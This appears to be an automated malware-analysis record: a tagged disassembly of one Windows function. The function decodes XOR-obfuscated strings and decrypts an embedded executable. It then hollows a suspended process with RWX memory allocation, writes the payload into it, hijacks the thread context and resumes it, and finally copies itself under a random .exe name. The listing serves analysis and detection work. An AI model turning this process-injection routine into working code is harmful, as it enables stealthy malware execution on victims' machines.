Function at 0x140003cb8
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Encode data using xor
Inject thread
Resume thread
Spawn thread to rwx shellcode
Terminate process
Terminate thread
Use process replacement

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x8f8]
sub rsp, 0x9d0
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rbp + 0x8c0], rax
xor r15d, r15d
xorps xmm0, xmm0
movups xmmword [rbp + 0x570], xmm0
movdqa xmm1, xmmword [0x1400398b0]
movdqu xmmword [rbp + 0x580], xmm1
mov byte [rbp + 0x570], r15b
mov dword [rbp + 0x30], 0x10000b
xor edx, edx
lea r8d, [r15 + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14002c460
xor edx, edx
lea r8d, [r15 + 0x18]
lea rcx, [rsp + 0x50]
call fcn.14002c460
movdqa xmm0, xmmword [0x140039950]
movdqu xmmword [rbp + 0x510], xmm0
movdqa xmm1, xmmword [0x140039a90]
movdqu xmmword [rbp + 0x520], xmm1
mov dword [rbp + 0x530], 0x796b2a6f
mov dword [rbp + 0x534], 0x2a6e6f61
mov dword [rbp + 0x538], 0x24657e
mov ecx, r15d
lea edi, [r15 + 1]
mov al, byte [rbp + 0x510]
xor byte [rbp + rcx + 0x511], al
add rcx, rdi
cmp rcx, 0x2a
jb 0x140003d7e
mov byte [rbp + 0x53b], r15b
lea rdx, [rbp + 0x511]
lea r12, [0x140040530]
mov rcx, r12
call fcn.140007214
mov rcx, rax
call fcn.140007460
call fcn.140002e98
test al, al
je 0x140003e48
movdqa xmm0, xmmword [0x140039a20]
movdqa xmmword [rbp + 0x510], xmm0
movdqa xmm1, xmmword [0x140039a10]
movdqa xmmword [rbp + 0x520], xmm1
movdqa xmm0, xmmword [0x1400399f0]
movdqa xmmword [rbp + 0x530], xmm0
movdqa xmm1, xmmword [0x1400398d0]
movdqa xmmword [rbp + 0x540], xmm1
mov rcx, r15
mov al, byte [rbp + 0x510]
xor byte [rbp + rcx + 0x511], al
add rcx, rdi
cmp rcx, 0x3e
jb 0x140003e09
mov byte [rbp + 0x54f], r15b
lea rdx, [rbp + 0x511]
mov rcx, r12
call fcn.140007214
mov rcx, rax
call fcn.140007460
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x6a0]
call fcn.14002c460
mov r8d, ebx
lea rdx, [rbp + 0x6a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rbp + 0x6a0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov r14, rax
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov byte [rax], r15b
movdqa xmm0, xmmword [0x140039990]
movdqu xmmword [rbp + 0x4d0], xmm0
xor eax, eax
mov byte [rbp + 0x4e0], al
mov rcx, r15
mov al, byte [rbp + 0x4d0]
xor byte [rbp + rcx + 0x4d1], al
add rcx, rdi
cmp rcx, 0xf
jb 0x140003ea7
mov byte [rbp + 0x4e0], r15b
lea rdx, [rbp + 0x4d1]
mov rcx, r12
call fcn.140007214
mov rcx, rax
call fcn.140007460
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9, r14
lea r8, [0x140003b58]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r13, rax
movdqa xmm0, xmmword [0x140039920]
movdqu xmmword [rbp + 0x4d0], xmm0
xor eax, eax
mov byte [rbp + 0x4e0], al
mov rdx, r15
mov cl, byte [rbp + 0x4d0]
xor byte [rbp + rdx + 0x4d1], cl
add rdx, rdi
cmp rdx, 0xf
jb 0x140003f17
mov byte [rbp + 0x4e0], r15b
lea rdx, [rbp + 0x4d1]
mov rcx, r12
call fcn.140007214
mov rcx, rax
call fcn.140007460
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r15
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, 0xf0e010e1
mov esi, eax
neg esi
test eax, eax
cmovns esi, eax
lea r8, [rbp + 0x570]
cmp qword [rbp + 0x588], 0xf
cmova r8, qword [rbp + 0x570]
movdqa xmm0, xmmword [0x140039a50]
movdqu xmmword [rbp + 0x510], xmm0
movdqa xmm1, xmmword [str.u1_dvj_qvpw_sks]
movdqu xmmword [rbp + 0x520], xmm1
mov rcx, r15
mov al, byte [rbp + 0x510]
xor byte [rbp + rcx + 0x511], al
add rcx, rdi
cmp rcx, 0x1e
jb 0x140003fa6
mov byte [rbp + 0x52f], r15b
mov byte [rsp + 0x20], dil
lea r9, [rsp + 0x70]
mov edx, esi
lea rcx, [rbp + 0x511]
call fcn.140002574
test al, al
jne 0x140004040
movdqa xmm0, xmmword [0x140039980]
movdqu xmmword [rbp + 0x4d0], xmm0
mov dword [rbp + 0x4e0], 0x783138
mov rdx, r15
mov al, byte [rbp + 0x4d0]
xor byte [rbp + rdx + 0x4d1], al
add rdx, rdi
cmp rdx, 0x12
jb 0x140003ffc
mov byte [rbp + 0x4e3], r15b
lea rdx, [rbp + 0x4d1]
mov rcx, r12
call fcn.140007214
mov rcx, rax
call fcn.140007460
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400047b2
mov rbx, qword [0x140041c90]
mov eax, esi
shr eax, 0x10
mov edx, dword [0x140041c88]
test edx, edx
jle 0x140004066
xor al, sil
mov rcx, rbx
xor byte [rcx], al
add rcx, rdi
sub rdx, rdi
jne 0x14000405c
mov cl, 0x28
mov dword [rbp + 0x4d0], 0x5c474628
mov dword [rbp + 0x4d4], 0x4c49584d
mov dword [rbp + 0x4d8], 0x4d504d06
mov word [rbp + 0x4dc], 0xa08
xor eax, eax
mov byte [rbp + 0x4de], al
mov rax, r15
xor byte [rbp + rax + 0x4d1], cl
add rax, rdi
cmp rax, 0xd
jae 0x1400040b2
mov cl, byte [rbp + 0x4d0]
jmp 0x14000409a
mov byte [rbp + 0x4de], r15b
lea rdx, [rbp + 0x4d1]
lea rcx, [rbp + 0x590]
call fcn.140011890
mov rdx, r14
lea rcx, [rbp + 0x590]
call fcn.1400117f0
lea rdx, [0x140039778]
lea rcx, [rbp + 0x590]
call fcn.1400117f0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov esi, 4
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x590]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140004242
mov cl, 0x73
mov dword [rbp + 0x4d0], 0x1f121073
mov dword [rbp + 0x4d4], 0xb165d10
mov dword [rbp + 0x4d8], 0x515316
mov rax, r15
xor byte [rbp + rax + 0x4d1], cl
add rax, rdi
cmp rax, 0xa
jae 0x140004171
mov cl, byte [rbp + 0x4d0]
jmp 0x140004159
mov byte [rbp + 0x4db], r15b
lea rdx, [rbp + 0x4d1]
lea rcx, [rbp + 0x590]
call fcn.140011890
mov rdx, r14
lea rcx, [rbp + 0x590]
call fcn.1400117f0
lea rdx, [0x140039778]
lea rcx, [rbp + 0x590]
call fcn.1400117f0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x590]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140004242
movdqa xmm0, xmmword [0x1400399e0]
movdqu xmmword [rbp + 0x4d0], xmm0
mov dword [rbp + 0x4e0], 0x24f45
mov rcx, r15
mov al, byte [rbp + 0x4d0]
xor byte [rbp + rcx + 0x4d1], al
add rcx, rdi
cmp rcx, 0x12
jb 0x140004209
mov byte [rbp + 0x4e3], r15b
lea rdx, [rbp + 0x4d1]
mov rcx, r12
call fcn.140007214
mov rcx, rax
call fcn.140007460
jmp 0x1400047b2
mov eax, 0x5a4d
cmp word [rbx], ax
je 0x14000428e
movdqa xmm0, xmmword [0x1400399b0]
movdqu xmmword [rbp + 0x4d0], xmm0
mov word [rbp + 0x4e0], 0x343
xor eax, eax
mov byte [rbp + 0x4e2], al
mov rcx, r15
mov al, byte [rbp + 0x4d0]
xor byte [rbp + rcx + 0x4d1], al
add rcx, rdi
cmp rcx, 0x11
jb 0x140004270
mov rcx, r12
jmp 0x14000434f
movsxd rsi, dword [rbx + 0x3c]
add rsi, rbx
lea rdx, [rbp]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ntdll.dll_NtGetContextThread]
mov rdx, qword [rbp + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r15
mov r9d, 8
lea r8, [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
lea r12, [rsi + 0x30]
mov rdx, qword [rsp + 0x68]
cmp rdx, qword [r12]
jne 0x1400042e4
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r12]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
xor r14d, r14d
test rax, rax
jne 0x14000437c
movdqa xmm0, xmmword [0x140039900]
movdqu xmmword [rbp + 0x4d0], xmm0
mov word [rbp + 0x4e0], 0x420b
mov byte [rbp + 0x4e2], al
mov rcx, rax
mov al, byte [rbp + 0x4d0]
xor byte [rbp + rcx + 0x4d1], al
add rcx, rdi
cmp rcx, 0x11
jb 0x140004332
lea rcx, [0x140040530]
lea rdx, [rbp + 0x4d1]
mov byte [rbp + 0x4e2], r15b
call fcn.140007214
mov rcx, rax
call fcn.140007460
mov edx, edi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
jmp 0x1400047b2
mov qword [rsp + 0x20], r14
mov r9d, dword [rsi + 0x54]
mov r8, rbx
mov rdx, r15
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
xor eax, eax
cmp ax, word [rsi + 6]
jae 0x1400043ed
xor r12d, r12d
mov eax, r14d
lea rcx, [rax + rax*4]
movsxd r9, dword [rbx + 0x3c]
add r9, rbx
mov r8d, dword [r9 + rcx*8 + 0x11c]
add r8, rbx
mov edx, dword [r9 + rcx*8 + 0x114]
add rdx, r15
mov qword [rsp + 0x20], r12
mov r9d, dword [r9 + rcx*8 + 0x118]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
add r14d, edi
movzx eax, word [rsi + 6]
cmp r14d, eax
jb 0x1400043a1
lea r12, [rsi + 0x30]
mov eax, dword [rsi + 0x28]
add rax, r15
mov qword [rbp + 0x80], rax
mov rdx, qword [rbp + 0x88]
add rdx, 0x10
xor r15d, r15d
mov qword [rsp + 0x20], r15
lea r9d, [r15 + 8]
mov r8, r12
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rdx, [rbp]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ntdll.dll_NtSetContextThread]
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ntdll.dll_NtResumeThread]
xor ecx, ecx
call fcn.1400165e8
mov rcx, rax
call fcn.1400117c0
call fcn.140011794
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
movsxd rbx, r8d
xorps xmm0, xmm0
movups xmmword [rbp + 0x510], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x520], xmm1
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x510]
call fcn.140007808
lea rsi, [rbp + 0x510]
cmp qword [rbp + 0x528], 0xf
cmova rsi, qword [rbp + 0x510]
test rbx, rbx
je 0x140004557
movups xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
movups xmmword [rbp + 0x4d0], xmm0
movups xmm1, xmmword [0x140039748]
movups xmmword [rbp + 0x4e0], xmm1
movups xmm0, xmmword [0x140039758]
movups xmmword [rbp + 0x4f0], xmm0
movsd xmm0, qword [0x140039768]
movsd qword [rbp + 0x500], xmm0
mov eax, dword [0x140039770]
mov dword [rbp + 0x508], eax
movzx eax, word [0x140039774]
mov word [rbp + 0x50c], ax
mov al, byte [0x140039776]
mov byte [rbp + 0x50e], al
call fcn.140011794
movsxd rcx, eax
movabs rax, 0x842108421084211
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 5
imul rax, rax, 0x3e
sub rcx, rax
mov al, byte [rbp + rcx + 0x4d0]
mov byte [rsi], al
add rsi, rdi
sub rbx, rdi
jne 0x1400044b6
lea rcx, str..exe
call fcn.140016540
mov r8, rax
lea rdx, str..exe
lea rcx, [rbp + 0x510]
call fcn.1400064c0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x550], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x560], xmm1
mov r8d, 0x20
mov rdx, rax
lea rcx, [rbp + 0x550]
call fcn.14002bce0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
mov rdx, qword [rbp + 0x528]
mov ebx, 0x1000
cmp rdx, 0xf
jbe 0x1400045f7
inc rdx
mov rcx, qword [rbp + 0x510]
mov rax, rcx
cmp rdx, rbx
jb 0x1400045f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000486f
call fcn.14000ac40
movdqa xmm0, xmmword [0x1400398b0]
movdqu xmmword [rbp + 0x520], xmm0
mov byte [rbp + 0x510], r15b
mov r8d, 0x104
lea rdx, [rbp + 0x7b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x4d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4e0], xmm1
lea rcx, [rbp + 0x7b0]
call fcn.140016540
mov r8, rax
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x4d0]
call fcn.1400078e8
lea rcx, [rbp + 0x4d0]
cmp qword [rbp + 0x4e8], 0xf
cmova rcx, qword [rbp + 0x4d0]
lea rdx, [rbp + 0x550]
cmp qword [rbp + 0x568], 0xf
cmova rdx, qword [rbp + 0x550]
call fcn.140015eb4
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x1400046ca
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, rbx
jb 0x1400046c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004875
call fcn.14000ac40
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtClose]
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, r13
call qword [sym.imp.ntdll.dll_NtClose]
mov cl, 7
mov dword [rbp + 0x4d0], 0x66735407
mov dword [rbp + 0x4d4], 0x63627375
mov word [rbp + 0x4d8], 0x29
mov rax, r15
xor byte [rbp + rax + 0x4d1], cl
add rax, rdi
cmp rax, 8
jae 0x14000472e
mov cl, byte [rbp + 0x4d0]
jmp 0x140004716
mov byte [rbp + 0x4d9], r15b
lea rdx, [rbp + 0x4d1]
lea rcx, [0x140040530]
call fcn.140007214
mov rcx, rax
call fcn.140007460
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, r15d
mov rdx, qword [rbp + 0x568]
cmp rdx, 0xf
jbe 0x14000479b
inc rdx
mov rcx, qword [rbp + 0x550]
mov rax, rcx
cmp rdx, rbx
jb 0x140004796
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000487b
call fcn.14000ac40
movdqa xmm0, xmmword [0x1400398b0]
movdqu xmmword [rbp + 0x560], xmm0
mov byte [rbp + 0x550], r15b
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x1400047fa
mov rdx, qword [rbp - 0x80]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004881
call fcn.14000ac40
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r15
mov rdx, qword [rbp + 0x588]
cmp rdx, 0xf
jbe 0x140004837
inc rdx
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004832
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004869
call fcn.14000ac40
mov eax, edi
mov rcx, qword [rbp + 0x8c0]
xor rcx, rsp
call fcn.14000ac20
lea r11, [rsp + 0x9d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140016e34
nop
call fcn.140016e34
nop
call fcn.140016e34
nop
call fcn.140016e34
nop
call fcn.140016e34
int3